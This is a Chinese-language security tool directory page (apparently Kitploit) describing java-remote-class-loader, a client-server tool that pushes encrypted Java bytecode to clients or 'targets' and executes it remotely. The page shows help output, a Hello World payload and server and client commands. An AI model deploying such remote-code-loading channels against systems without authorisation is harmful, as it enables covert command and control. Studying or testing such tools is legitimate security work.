Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
java-remote-class-loader — 客户端-服务器工具,通过ClassLoader和反射API远程加载并执行Java字节码,支持ChaCha20加密和保活连接。 | Kitploit
工具/GitHubGitHub/joaovarelas/java-remote-class-loader
加密/解密工具Payload生成漏洞利用命令与控制远程访问工具Payload 开发
GitHubjoaovarelas/java-remote-class-loader

java-remote-class-loader

客户端-服务器工具,通过ClassLoader和反射API远程加载并执行Java字节码,支持ChaCha20加密和保活连接。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
3463年前Kitploit 审核通过

java-remote-class-loader

此工具允许您以类文件的形式将 Java 字节码发送给客户端(或潜在目标),通过 Java ClassLoader 和 Reflect API 加载并执行。客户端接收来自服务器的类文件,并返回相应的执行输出。载荷必须用 Java 编写,并在启动服务器前编译完成。

功能特性

  • 客户端-服务器架构
  • Java 类文件的远程加载
  • 传输中加密(使用 ChaCha20 密码)
  • 通过参数进行设置
  • 保活机制:服务器重启后重新建立通信

安装

该工具已在 Windows 和 Linux(zip 便携版)上使用 OpenJDK 11 及 JRE Java 包进行了测试。 由于依赖关系,Java 版本应为 11 或更高。

https://www.openlogic.com/openjdk-downloads

使用方法

root@kitploit:~
$ java -jar java-class-loader.jar -help

usage: Main
 -address <arg>       客户端连接地址 / 服务器绑定地址
 -classfile <arg>     要远程加载的字节码 .class 文件名
                      (默认:Payload.class)
 -classmethod <arg>   要调用的方法名称(默认:exec)
 -classname <arg>     类名(默认:Payload)
 -client              以客户端模式运行
 -help                打印此帮助信息
 -keepalive           让客户端每隔 X 秒从服务器获取类文件
                      (默认:3 秒)
 -key <arg>           密钥——256 位 base64 格式(如果未指定则生成新密钥)
 -port <arg>          客户端连接端口 / 服务器绑定端口
 -server              以服务器模式运行

示例

假设您在 Payload.java 文件中有以下 Hello World 载荷:

root@kitploit:~
//Payload.java
public class Payload {
    public static String exec() {
        String output = "";
        try {
            output = "Hello world from client!";
        } catch (Exception e) {
            e.printStackTrace();
        }
        return output;
    }
}

然后您需要编译并生成相应的 Payload.class 文件。

要运行监听在 1337 端口所有网络接口上的服务器进程:

root@kitploit:~
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class

Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

在客户端,您可以使用相同的 JAR 包并添加 -client 标志,使用服务器生成的对称密钥。 指定服务器 IP 地址和连接端口。您还可以更改类名和类方法(默认分别为 Payload 和 String exec())。此外,可以指定 -keepalive 让客户端在保持连接的同时不断从服务器请求类文件。

root@kitploit:~
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server

参考

有关该工具开发的博客文章,请参阅 https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/。

  1. https://github.com/rebeyond/Behinder

  2. https://github.com/AntSwordProject/antSword

  3. https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/

  4. https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis

  5. https://xz.aliyun.com/t/2799

  6. https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7

  7. https://venishjoe.net/post/dynamically-load-compiled-java-class/

  8. https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php

  9. https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/

  10. https://openjdk.org/jeps/329

  11. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html

  12. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html

下载工具